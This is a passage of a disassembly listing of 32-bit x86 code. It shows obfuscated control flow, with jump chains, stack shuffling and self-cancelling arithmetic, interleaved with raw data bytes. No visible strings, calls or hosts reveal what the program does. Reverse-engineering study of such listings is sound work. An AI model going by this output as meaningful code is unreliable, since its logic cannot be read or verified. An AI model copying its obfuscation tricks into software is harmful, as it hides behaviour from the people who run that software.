; ---------------------------------------------------------------------------

loc_5564C8:				; CODE XREF: sub_542C3C+21A36j
		pop	edx
		pop	edi
		add	ecx, ebx
		mov	eax, [ecx]
		pop	ecx
		mov	ebx, [esp+7Ch+var_7C]
		add	esp, 4
		push	7CCCh
		mov	[esp+7Ch+var_7C], ecx
		sub	esp, 4
		mov	[esp+80h+var_80], ebp
		push	7807500Ah
		jmp	loc_5627A2
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F5C681D6h, 8103E239h, 323436CEh, 6F68133h, 0E9B149F0h
		dd 0D411h, 5C241C87h, 68241489h, 3329h,	10738E9h, 5FF18100h
		dd 1FD5C7Eh, 0EE8359CEh, 24348704h, 2414895Ch, 62CE954h
		dd 34FF0001h, 24048B24h, 4C481h, 5C680000h, 89000074h
		dd 5954240Ch, 40BE955h,	81580001h, 0FAC561F7h, 0DDB0E9E0h
		dd 0C680FFFFh, 5AF7889Eh, 0D6E980B6h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55656B:				; CODE XREF: sub_542C3C+199A0j
		dec	dl
		jmp	loc_56213D
; ---------------------------------------------------------------------------
		dw 5B66h
		dd 8004E6C0h, 0EC836BEEh, 240C8904h, 8EE9E189h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556587:				; CODE XREF: sub_542C3C+1CFE8j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_554DA0
; ---------------------------------------------------------------------------
		dd 8704C083h, 0E95C2404h, 0E53Bh, 5A57BFBDh, 88ED8103h
		dd 81366C3Eh, 0CD0F42EDh, 4ED810Ch, 0E97A325Bh,	91C0h
		dd 0CE68D488h, 8900005Ah, 7DE92414h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5565CB:				; CODE XREF: sub_542C3C+17E8Ej
		mov	esp, [esp+84h+var_84]
		jmp	loc_558BA7
; ---------------------------------------------------------------------------

loc_5565D3:				; CODE XREF: sub_542C3C+2295Fj
		sub	bl, 8Dh
		movzx	eax, al
		jmp	loc_5671EF
; ---------------------------------------------------------------------------
		dw 0DD89h
		dd 5CBA525Bh, 810C9C6Bh, 0CC0F00C2h, 167AE914h,	0C4810001h
		dd 4, 0D59E9h, 0A4E95900h, 54000048h, 22E9525Eh, 5D00001Bh
		dd 0C281DA29h, 0C2E63E3h, 5B2434FFh, 0BF3CE955h, 2C890000h
		dd 35E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556626:				; CODE XREF: sub_542C3C+1CA43j
		add	eax, ebx
		jmp	loc_5642C1
; ---------------------------------------------------------------------------

loc_55662D:				; CODE XREF: sub_542C3C+19760j
		shr	eax, 1
		shl	eax, 8
		jmp	loc_561E70
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB12E9E5h, 0EAC10000h, 0F6F28107h, 100CFBAh, 0C5815AD5h
		dd 4, 31242C33h, 0CDE9242Ch, 53FFFFE1h,	686067BBh, 0E9434B79h
		dd 7C22h, 0E9263459h, 564Ch, 676FEA81h,	0FA290B09h, 0FFD312E9h
		dd 242C8BFFh, 5704C483h, 42474FFh, 24048F5Fh, 2414895Ch
		dd 0B5E99C50h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556697:				; CODE XREF: sub_542C3C+1AC4Ej
		pop	edx
		push	1A96h
		jmp	loc_55B3E3
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 2101B324h, 0E95EF529h, 52CBh, 0E95FF801h, 0D660h, 5A2434FFh
		dd 48BBE9h, 4C48100h, 81000000h, 0CA042444h, 8146C105h
		dd 0B904246Ch, 0E9136512h, 10BAEh, 8F3C2FBBh, 5BDA3130h
		dd 7164C681h, 0D6011CB0h, 7164EE81h, 148B1CB0h,	4C48324h
		dd 0ED17EFBBh, 22076839h, 3C890000h, 21DEE924h,	14890001h
		dd 515A5424h, 4B9h, 74C28100h, 172112Ah, 0DEBD55CAh, 0E917110Ch
		dd 0F38Eh
; ---------------------------------------------------------------------------

loc_556728:				; CODE XREF: sub_542C3C+21428j
		push	752Bh
		mov	[esp+88h+var_88], eax
		jmp	loc_557E98
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0B5h
		dd 0C10BC974h, 4A4A08E2h, 0E9DAF74Ah, 305Ah, 5C242C33h
		dd 114F2E9h, 7807B800h,	0FF050C29h, 2DFFFFFFh, 2DFA5051h
		dd 0E958C529h, 0FFFFE804h, 0C581E589h, 4, 8704ED83h, 0E95C242Ch
		dd 63B3h, 15DEE29h, 0EDC681D6h,	0E9134142h, 2D9Dh, 0EEEE81ADh
		dd 0E9118549h, 503Dh, 48BC600h,	4C48324h, 292C342Ch, 10892E9h
		dd 241C8900h, 5EE95755h, 0B9000086h, 4,	0E959CE01h, 0FFFFDF30h
		dd 0E9242C8Bh, 11D2Ah, 4C181h, 0C870000h, 68525C24h, 1AAh
		dd 0E4F8E9h, 9DE95900h,	6800011Ch, 1A9Eh, 0E9243489h, 31F0h
		dd 81240C8Bh, 4C4h, 89A5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5567FE:				; CODE XREF: sub_542C3C+1786Cj
		sub	eax, 4
		xchg	eax, [esp+88h+var_88]
		pop	esp
		jmp	loc_567EC6
; ---------------------------------------------------------------------------

loc_55680C:				; CODE XREF: sub_542C3C+249D1j
		xchg	eax, [esp+84h+var_84]
		pop	esp
		mov	[esp+80h+var_80], eax
		mov	ah, cl
		push	edx
		jmp	loc_55394D
; ---------------------------------------------------------------------------

loc_55681B:				; CODE XREF: sub_542C3C+1591Dj
		pop	eax
		jmp	loc_5632D5
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 25h
		dd 5E700C14h, 52B68h, 24348900h, 4BEh, 0FFF70100h, 80E92434h
		dd 800000A1h, 5A669EC5h, 0E828632Ch, 3CBE68h, 0DD24E900h
		dd 34890000h, 5779E924h, 4830000h, 34FF0424h, 0C4815B24h
		dd 4, 4C381h, 0E1680000h, 8900004Ch, 0E189240Ch, 6C05E957h
		dd 0EB810000h, 51D971B1h, 2EA4E9h, 0CEE95600h, 0B800008Ch
		dd 7A270839h, 5108E0C1h, 0AE5F5FB9h, 59C82172h,	0E906E0C1h
		dd 583Dh, 0E9243C89h, 8D5Bh, 0B5519EB2h, 0FEDDF6AAh, 9190E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5568BE:				; CODE XREF: sub_542C3C+187F5j
		pop	[esp+80h+var_80]
		pop	esp
		mov	[esp+78h+var_78], eax
		mov	eax, esp
		push	esi
		mov	esi, 56D26B58h
		jmp	loc_562045
; ---------------------------------------------------------------------------
		dw 9268h
		dd 8900005Eh, 0E589242Ch, 2EA2B951h, 41492D33h,	8141D1F7h
		dd 332EA6C1h, 8BCD012Dh, 0C481240Ch, 4,	4C581h,	2C870000h
		dd 24248B24h, 8B24048Fh, 34FF2424h, 89515824h, 72BD55E1h
		dd 52392E71h, 6907B1BAh, 7FF2816Dh, 812D3E21h, 4ECh, 241C8900h
		dd 3B74BE56h, 81464C65h, 127AA6F6h, 5EF38914h, 4D61C281h
		dd 0C2813E57h, 4A3071D3h, 0EA81DA01h, 4A3071D3h, 4D61EA81h
		dd 1C8B3E57h, 4C48324h,	0C106EAC1h, 0C28102E2h,	18C444A7h
		dd 148BD531h, 0A33DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556972:				; CODE XREF: sub_542C3C+21EF8j
		mov	[esp+7Ch+var_7C], ecx
		push	ecx
		mov	ecx, 16836354h
		add	[esp+80h+var_7C], 2B332E76h
		add	[esp+80h+var_7C], ecx
		jmp	loc_5546C2
; ---------------------------------------------------------------------------

loc_55698C:				; CODE XREF: sub_542C3C+173D4j
		push	esp
		mov	edx, [esp+84h+var_84]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5638CF
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0CFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5569A6:				; CODE XREF: sub_542C3C+1CD56j
		mov	eax, [esp+84h+var_84]
		add	esp, 4
		add	cl, ah
		mov	eax, [esp+80h+var_80]
		jmp	loc_560BEE
; ---------------------------------------------------------------------------

loc_5569B6:				; CODE XREF: sub_542C3C+25B93j
		xor	[esp+80h+var_80], edx
		xor	edx, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		jmp	loc_55C623
; ---------------------------------------------------------------------------

loc_5569C4:				; CODE XREF: sub_542C3C+1DCBBj
		xchg	ebp, [esp+80h+var_80]
		pop	esp
		mov	[esp+7Ch+var_7C], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+7Ch+var_7C]
		pop	esp
		add	esi, 4
		xchg	esi, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		push	[esp+78h+var_78]
		push	[esp+7Ch+var_7C]
		push	[esp+80h+var_80]
		pop	ecx
		add	esp, 4
		push	70AAh
		mov	[esp+80h+var_80], ecx
		push	3C45h
		push	esp
		pop	[esp+88h+var_88]
		jmp	loc_5544F8
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24042824h, 0CB3AE99Ch, 0F480FFFFh, 8BE300B9h, 0C4832404h
		dd 0E9506604h, 0CF22h
; ---------------------------------------------------------------------------

loc_556A24:				; CODE XREF: sub_542C3C+223C3j
		add	esp, 4
		pop	[esp+80h+var_80]
		push	[esp+7Ch+var_7C]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	ebx
		mov	ebx, 2FB92834h
		and	ebx, 4EF6A51h
		shr	ebx, 2
		xor	ebx, 489F3A30h
		xor	ebx, 49B57030h
		mov	esi, ebx
		pop	ebx
		jmp	loc_5650BF
; ---------------------------------------------------------------------------

loc_556A5E:				; CODE XREF: sub_542C3C+1FE6Bj
		sub	ebx, 53CC05E3h
		jmp	loc_55B8F8
; ---------------------------------------------------------------------------

loc_556A69:				; CODE XREF: sub_542C3C+223F1j
		inc	esi
		and	esi, 547D4B7Ch
		jmp	loc_55E8B9
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1830000h, 240C8704h, 7812E9h, 96E95700h, 81000113h
		dd 4ECh, 48F5400h, 24048124h, 4, 0E924048Fh, 8800h, 0E4E3F281h
		dd 0D301867Eh, 0BAEAE95Ah, 14890000h, 0CF5AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556ABE:				; CODE XREF: sub_542C3C+16D05j
		pop	eax
		jmp	loc_558F7A
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 8B662424h, 1E682404h, 89000057h, 96E92434h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556ADB:				; CODE XREF: sub_542C3C+16B61j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+84h+var_84]
		pop	esp
		mov	ebx, [esp+80h+var_80]
		add	esp, 4
		jmp	loc_561654
; ---------------------------------------------------------------------------

loc_556AF9:				; CODE XREF: sub_542C3C+21900j
		xor	ebx, [esp+7Ch+var_7C]
		jmp	loc_566D80
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8B24048Fh, 84E92424h, 0BA0000C8h, 40246FE4h,	77E637BBh
		dd 5AD3296Eh, 0AE76DC2Dh, 0E9D8014Eh, 0FFFFCC05h, 2B9h
		dd 8748E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556B32:				; CODE XREF: sub_542C3C+1652Dj
		mov	[esp+7Ch+var_7C], ebp
		push	esi
		mov	esi, 500D20D0h
		jmp	loc_566D40
; ---------------------------------------------------------------------------
		dd 5B2414F7h, 0E902EBC1h, 0BCBBh
; ---------------------------------------------------------------------------

loc_556B4C:				; CODE XREF: sub_542C3C+16B4Bj
		add	esp, 4
		add	esp, 4
		add	ebx, 6DEC48ECh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+7Ch+var_7C]
		jmp	loc_55EB6E
; ---------------------------------------------------------------------------
aISk		db '‰,$ék*',0
		align 4
		dd 5EA2B850h, 11E90CA0h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556B7F:				; CODE XREF: sub_542C3C+1680Bj
		mov	ebp, 441915BEh
		add	edx, ebp
		pop	ebp
		jmp	loc_5686A7
; ---------------------------------------------------------------------------

loc_556B8C:				; CODE XREF: sub_542C3C+18E8Dj
		push	esi
		push	esp
		jmp	loc_55A1DC
; ---------------------------------------------------------------------------
		db 58h
		dd 80FBF780h, 0F780E7EFh, 0F66EE981h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556BA2:				; CODE XREF: sub_542C3C+23CE6j
		add	ebx, ecx
		add	ebx, 2A5658h
		pop	ecx
		add	eax, ebx
		push	[esp+7Ch+var_7C]
		jmp	loc_56798D
; ---------------------------------------------------------------------------

loc_556BB5:				; CODE XREF: sub_542C3C+16553j
		pop	ecx
		jmp	loc_55F690
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9DF0100h, 10E5Fh, 0C41B050h,	56FE9A7h, 0C4830001h
		dd 64756804h, 2C890000h, 27BB5324h, 0E92F9306h,	64FAh
		dd 0C7031FBBh, 5BD8014Bh, 2A76B951h, 1405588Eh,	0E9138B1Fh
		dd 2E0Eh, 240C8B66h, 0E904EC83h, 10111h, 6149E981h, 73E97235h
		dd 460000C2h, 0EFC1F787h, 8A74E906h, 0C3810000h, 4, 111D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_556C2D:				; CODE XREF: sub_542C3C+1C906j
		push	ebx
		jmp	loc_5611ED
; ---------------------------------------------------------------------------
		db 89h
		dd 0FBA3E9CBh, 0E883FFFFh, 3A25E904h, 0D8310000h, 0F8B1E9h
		db 0
; ---------------------------------------------------------------------------

loc_556C49:				; CODE XREF: sub_542C3C+224CBj
		sub	eax, 13458DEh
		add	eax, 72D90883h
		push	ebx
		mov	ebx, esp
		jmp	loc_5636C1
; ---------------------------------------------------------------------------
		db 51h
		dd 0B9h, 76E98100h, 12F7E26h, 76BF57C1h, 12F7E26h, 243C8BF9h
		dd 10E1CE9h, 5AF78800h,	62E9FE88h
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556C83:				; CODE XREF: sub_542C3C+18363j
		push	4
		pop	esi
		jmp	loc_55CAC3
; ---------------------------------------------------------------------------
		dw 0A368h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 2F56665h
		sub	edi, 58816931h
		shl	edi, 8
		jmp	loc_55A64A
; ---------------------------------------------------------------------------

loc_556CB0:				; CODE XREF: sub_542C3C+1FD3Dj
		add	esp, 4
		push	esi
		mov	esi, ebx
		jmp	loc_55B84C
; ---------------------------------------------------------------------------
		dw 0CB80h
		dd 0C7F380F5h, 77E9D988h, 5100003Ah, 276FF7B9h,	4BBA520Ah
		dd 2137657Bh, 24148BD1h, 4C481h, 0E1810000h, 414E7439h
		dd 0A003BB53h, 0D901FFFBh, 59CD015Bh, 8702C583h, 248B242Ch
		dd 0E9F9F624h, 0C6D8h
; ---------------------------------------------------------------------------

loc_556D04:				; CODE XREF: sub_542C3C+1CE0Dj
		mov	esi, [esp+8Ch+var_8C]
		push	esi
		jmp	loc_55A453
; ---------------------------------------------------------------------------
		db 4Dh,	81h, 0EDh
		dd 1, 8103EDC1h, 2B1D90C5h, 5DEA01FBh, 31241433h, 0BE92414h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556D2B:				; CODE XREF: sub_542C3C+1F56Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		pop	[esp+8Ch+var_8C]
		mov	esp, [esp+88h+var_88]
		mov	[esp+88h+var_88], ebx
		mov	ebp, [esp+88h+var_88]
		jmp	loc_5607F6
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 2
		dd 5C240487h, 240C8966h, 0E5D071B5h, 0F586C5FEh, 0F586D6F6h
		dd 66FFED80h, 0E9274B68h, 0B198h, 895BD889h, 0F75A58C1h
		dd 0E8E7E9D1h, 0E389FFFFh, 4C381h, 19E90000h, 890000C5h
		dd 4C681E6h, 81000000h,	4EEh, 0E7AEE900h, 0E981FFFFh, 402C1839h
		dd 8DC181h, 0F10105A7h,	8DE981h, 0BD5505A7h, 17F0515Dh
		dd 2540C581h, 0ED811725h, 0EEE95E64h, 5E5DE901h, 8B240C87h
		dd 0FF662424h, 0E99C2404h, 0FFFFC778h, 527CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556DDA:				; CODE XREF: sub_542C3C+129C3j
		mov	esi, [esp+94h+var_94]
		add	esp, 4
		xor	esi, 70183038h
		push	[esp+90h+var_90]
		pop	edi
		add	esp, 4
		and	eax, esi
		jmp	loc_55D231
; ---------------------------------------------------------------------------
		db 81h
		dd 6C5639F5h, 243E91Fh,	0E9480000h, 0FFFFCEDDh,	224168h
		dd 24348900h, 35E9E689h, 1FFFFE1h, 3FEA81DAh, 810CC32Ah
		dd 4ECh, 24348900h, 73177968h, 0F2295E61h, 0EBEFE9h
		db 0
; ---------------------------------------------------------------------------

loc_556E35:				; CODE XREF: sub_542C3C+1B9D6j
		xchg	esi, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_560956
; ---------------------------------------------------------------------------
aH?_sVfipXkMXS	db 'h×^?{_S» vFiP¸xK{M)ÃX)Øéº',0Dh,0
		align 2

loc_556E5A:				; CODE XREF: sub_542C3C+1F783j
		neg	eax
		dec	eax
		sub	eax, 40F4A86h
		not	eax
		not	eax
		sub	eax, 8D2E3F61h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp+84h+var_84]
		pop	esp
		mov	[esp+80h+var_80], esp
		sub	esp, 4
		mov	[esp+84h+var_84], ecx
		mov	ecx, 4
		jmp	loc_555F50
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 44B22B60h, 58E9DEF7h, 0BB00006Dh, 4,	7568h, 0CC77E900h
		dd 0E950FFFFh, 39C5h, 555FFD29h, 8C4AE9h, 81E1D100h, 4EC560F1h
		dd 59C809EEh, 3503E8C1h, 0BBEEFFDh, 67F3C181h, 0BE56322Dh
		dd 1AB56923h, 9409E9h, 4C48300h, 34FFD801h, 0DD69E924h
		dd 0EC830000h, 243C8904h, 4BFh,	0FFFA0100h, 835F2434h
		dd 0EC8104C4h, 4, 0BE243489h, 55260B8Ah, 5D2AE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556F12:				; CODE XREF: sub_542C3C+18668j
		push	esi
		mov	esi, 7BA92FB8h
		add	[esp+88h+var_84], esi
		push	[esp+88h+var_88]
		pop	esi
		add	esp, 4
		push	[esp+84h+var_84]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55ECD1
; ---------------------------------------------------------------------------
		db 89h
		dd 0FDE950E1h, 8B0000E0h, 0C483240Ch, 0E2C18104h, 0E943B115h
		dd 4B24h
; ---------------------------------------------------------------------------

loc_556F54:				; CODE XREF: sub_542C3C+23E4Fj
		mov	edx, [esp+88h+var_88]
		push	4183h
		mov	[esp+8Ch+var_8C], edi
		jmp	loc_55AFDA
; ---------------------------------------------------------------------------
aRZRgsE		db 'R]Z-·%rGé{…',0
		db 0
; ---------------------------------------------------------------------------

loc_556F71:				; CODE XREF: sub_542C3C+1E1C7j
		push	[esp+8Ch+var_8C]
		mov	ebx, [esp+90h+var_90]
		jmp	loc_559194
; ---------------------------------------------------------------------------
		dd 2299C681h, 0F68132CCh, 4A1FEC42h, 0AC57E9h, 37E95C00h
		dd 570000CFh, 455E4FBFh, 5FFE0972h, 4A13CE81h, 4E9739Fh
		dd 0E900000Bh, 0FFFFC5A0h, 3039C981h, 0C1815709h, 0DE2CDC80h
		dd 0E959CA89h, 1B03h, 5BD8315Eh, 5E08EA81h, 0EA81104Ch
		dd 4AA9478Eh, 0FA79E9h,	2434FF00h, 4C4835Fh, 0CA968h, 240C8900h
		dd 4EC81h, 14890000h, 8B3BBA24h, 0D1890CBEh, 71FEE9h, 0FB016600h
		dd 243C8B66h, 2C481h, 0E9550000h, 0C194h
; ---------------------------------------------------------------------------

loc_55700C:				; CODE XREF: sub_542C3C+14D2Cj
		inc	ebp
		xor	ebp, 3745667Eh
		xor	ecx, ebp
		pop	ebp
		push	edi
		push	ecx
		jmp	loc_568392
; ---------------------------------------------------------------------------

loc_55701D:				; CODE XREF: sub_542C3C+21A95j
		add	esp, 4
		dec	edi
		neg	edi
		sub	edi, 558E22A9h
		mov	edx, edi
		jmp	loc_568778
; ---------------------------------------------------------------------------
		dd 0D089CA89h, 0E9C2895Ah, 631Ah, 24048B66h, 292EE9h, 5DEB0100h
		dd 0BA87E9h, 24348700h,	2404895Ch, 4B8h, 0E9C52900h, 7FCh
; ---------------------------------------------------------------------------

loc_557060:				; CODE XREF: sub_542C3C+22FF7j
		sub	edx, 0D444DEBh
		push	66A4h
		mov	[esp+94h+var_94], ebx
		mov	ebx, 2B0D7FE6h
		add	edx, ebx
		pop	ebx
		pop	ecx
		add	edx, eax
		jmp	loc_558548
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 48F76759h, 2C7815Bh,	0E9000000h, 8FD0h, 5A4BE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557096:				; CODE XREF: sub_542C3C+18F6Fj
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	7746h
		mov	[esp+90h+var_90], eax
		mov	eax, 4
		add	ebp, 577D5636h
		jmp	loc_564DF8
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9240489h, 0BB26h
; ---------------------------------------------------------------------------

loc_5570C4:				; CODE XREF: sub_542C3C+1D757j
		mov	bl, 8Ah
		shl	bl, 5
		push	ax
		mov	al, bl
		not	al
		jmp	loc_56277F
; ---------------------------------------------------------------------------
		dd 0E681FE87h, 409D0530h, 5F5E5756h, 2414F757h,	31FE315Fh
		dd 0C1FE31F7h, 505108E6h, 582DC068h, 130D5847h,	546EE03h
		dd 0FFFFFFFFh, 4C0D035h, 0AC9DE9BCh, 0C8B0000h,	4C48124h
		dd 81000000h, 1C5h, 68564D00h, 637h, 0B8240489h, 25D23A94h
		dd 440317BEh, 0E9C601DCh, 8095h, 177A68h, 44C8E900h, 0E95A0000h
		dd 0FFFFEB46h, 0F988C788h, 12D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55714D:				; CODE XREF: sub_542C3C+2114Cj
		push	ebp
		push	[esp+96h+var_94+2]
		jmp	loc_55E9BB
; ---------------------------------------------------------------------------
aIus		db 'ÑëUé³"',0
		dw 5A00h
		dd 0E9241C87h, 90B6h
; ---------------------------------------------------------------------------

loc_557168:				; CODE XREF: sub_542C3C+16F45j
		pop	esp
		movzx	eax, al
		jmp	loc_559384
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0F3h
		dd 36C472E2h, 0FFD9E95Eh, 8159FFFFh, 4C4h, 0E1BB5300h
		dd 551E0836h, 0FFEC3CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557191:				; CODE XREF: sub_542C3C+209B8j
		sub	ah, 6Ah
		sub	ah, 0B0h
		jmp	loc_564798
; ---------------------------------------------------------------------------
		dd 5C240487h, 0E9241C89h, 0FFFFFA40h, 0B3241C89h, 8BDE0854h
		dd 0C483241Ch, 0E9C6FE04h, 0B007h, 83243C8Bh, 815104C4h
		dd 4ECh, 24148900h, 9D0C9DBAh, 81EAD140h, 3C11BFE2h, 0D143E91Ah
		dd 0BE560000h, 0FFFFFFFFh, 69D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5571E9:				; CODE XREF: sub_542C3C+1CB27j
		add	ah, 1
		shl	ah, 6
		xor	ah, 0E9h
		xor	dh, ah
		pop	eax
		sub	dh, 3
		mov	cl, dh
		pop	edx
		not	cl
		xor	cl, 5Bh
		dec	cl
		add	cl, 0Fh
		push	eax
		jmp	loc_558A84
; ---------------------------------------------------------------------------
		db 88h
		dd 5B3A88C7h, 6824148Bh, 467Fh,	54243C89h, 0BB53565Fh
		dd 40072614h, 0FFC680E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557229:				; CODE XREF: sub_542C3C+2158Bj
		pop	ecx
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_55F0A2
; ---------------------------------------------------------------------------
		dw 0C87h
aLHg		db '$‹$$hg',7,0
		dd 241C8900h, 8904EC83h, 4832424h, 505B0424h, 0FFF63EE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_563C5C
; ---------------------------------------------------------------------------
aLSV		db '‹<$é=V',0
		db 0
; ---------------------------------------------------------------------------

loc_557261:				; CODE XREF: sub_542C3C+1C1D0j
		not	esi
		xchg	esi, edx
		inc	edx
		jmp	loc_56762C
; ---------------------------------------------------------------------------
aIIXiSks	db 'ˆÈˆÃXˆØéŠé',0
		dw 8100h
		dd 6A745DC2h, 81DA0124h, 6A745DEAh, 0F0B85024h,	2D005D48h
		dd 41256C59h, 0FFFFFF2Dh, 53260DFFh, 0BE56052Ch, 47B971D3h
		dd 0C15EF009h, 1F2D04E0h, 2DDB98FEh, 0F264ECC0h, 5B58C229h
		dd 0FFE490E9h, 0FFE883FFh, 2B5D9F0Dh, 0B3EE0524h, 0EB811F63h
		dd 80C1196h, 0C381C329h, 80C1196h, 240C8B58h, 81595451h
		dd 4C1h, 4C18100h, 87000000h, 8F5C240Ch, 0C25AE900h, 2C29FFFFh
		dd 242C8B24h, 4D04C483h, 68A8C581h, 0E9513539h,	9C2Fh
		dd 0FF241C89h, 0E9042474h, 0FFFFF68Ah, 4BBh, 0E9DE0100h
		dd 0CC80h, 0C226E958h, 0C483FFFFh, 0A5CDE904h, 4810000h
		dd 4B3EB224h, 6CE95B07h, 5B000029h, 0A83DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557342:				; CODE XREF: sub_542C3C+1F50Fj
		mov	bl, 3Fh
		sub	al, bl
		pop	bx
		sub	al, dl
		add	al, 3Fh
		pop	edx
		add	al, 9Eh
		add	al, cl
		jmp	loc_55A149
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E6895624h, 4B850h, 78E90000h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557367:				; CODE XREF: sub_542C3C+24789j
		add	ebp, 0A353045Ah
		sub	ecx, 1043C75h
		jmp	loc_5537AD
; ---------------------------------------------------------------------------
		dd 8047F580h, 0DDF65DE5h, 201FF580h, 526659ECh,	0D4285FB2h
		dd 0E4805A66h, 0F6EC8612h, 0E9EC86D5h, 0FFFFF676h, 0AC4F2105h
		dd 0E9C8295Eh, 0A10Dh, 0D5F6C5FEh, 2864C580h, 0E80059E8h
		dd 8904EC83h, 32E9241Ch, 5EFFFFD4h, 8904EC83h, 8B5D2434h
		dd 0C4832434h, 5DEA2904h, 0BF57C229h, 343D6985h, 10CFB850h
		dd 0BB5348D2h, 7BDE7260h, 40C8C381h, 0F38100A9h, 5564E676h
		dd 295BDA01h, 5EB951C2h, 8129E355h, 8E60FBC2h, 81CA296Bh
		dd 8E60FBEAh, 158596Bh,	4EC81FAh, 0E9000000h, 0FFFFCA66h
		dd 2BA5259h, 83000000h,	38E904ECh, 81000038h, 6A6105C7h
		dd 241C8B75h, 0FFF786E9h, 4CB850FFh, 8156093Bh,	0EE25ADEEh
		dd 81C62928h, 0EE25ADC6h, 0BFE95828h, 31FFFFE8h, 2C33242Ch
		dd 24248B24h, 9FB1E9h, 0E3895300h, 0E26E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557466:				; CODE XREF: sub_542C3C+191C8j
		add	ebx, 3718C40Ah
		sub	ecx, ebx
		push	[esp+88h+var_88]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+88h+var_88], eax
		jmp	loc_55ED75
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0D7E9240Ch, 81000113h, 4C7h, 6DE56800h, 0B5E90000h
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55749B:				; CODE XREF: sub_542C3C+1E874j
		push	3EF2h
		jmp	loc_55EDFC
; ---------------------------------------------------------------------------

loc_5574A5:				; CODE XREF: sub_542C3C+211FFj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_5662C6
; ---------------------------------------------------------------------------

loc_5574BA:				; CODE XREF: sub_542C3C+1919Bj
		pop	eax
		mov	dword ptr [edx+30h], 8E37851Bh
		jmp	loc_5610AD
; ---------------------------------------------------------------------------

loc_5574C7:				; CODE XREF: sub_542C3C+22F74j
		and	edx, 13D31451h
		jmp	loc_561BEE
; ---------------------------------------------------------------------------

loc_5574D2:				; CODE XREF: sub_542C3C+15C7Ej
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebx
		jmp	loc_558D96
; ---------------------------------------------------------------------------

loc_5574ED:				; CODE XREF: sub_542C3C+13372j
		push	ebp
		mov	ebp, 5B3059A4h
		add	ebp, 195B1E29h
		jmp	loc_553B65
; ---------------------------------------------------------------------------

loc_5574FE:				; CODE XREF: sub_542C3C+1C8A1j
		mov	edi, 2C8F0AA8h
		sub	eax, edi
		pop	edi
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55F5D2
; ---------------------------------------------------------------------------
		db 33h
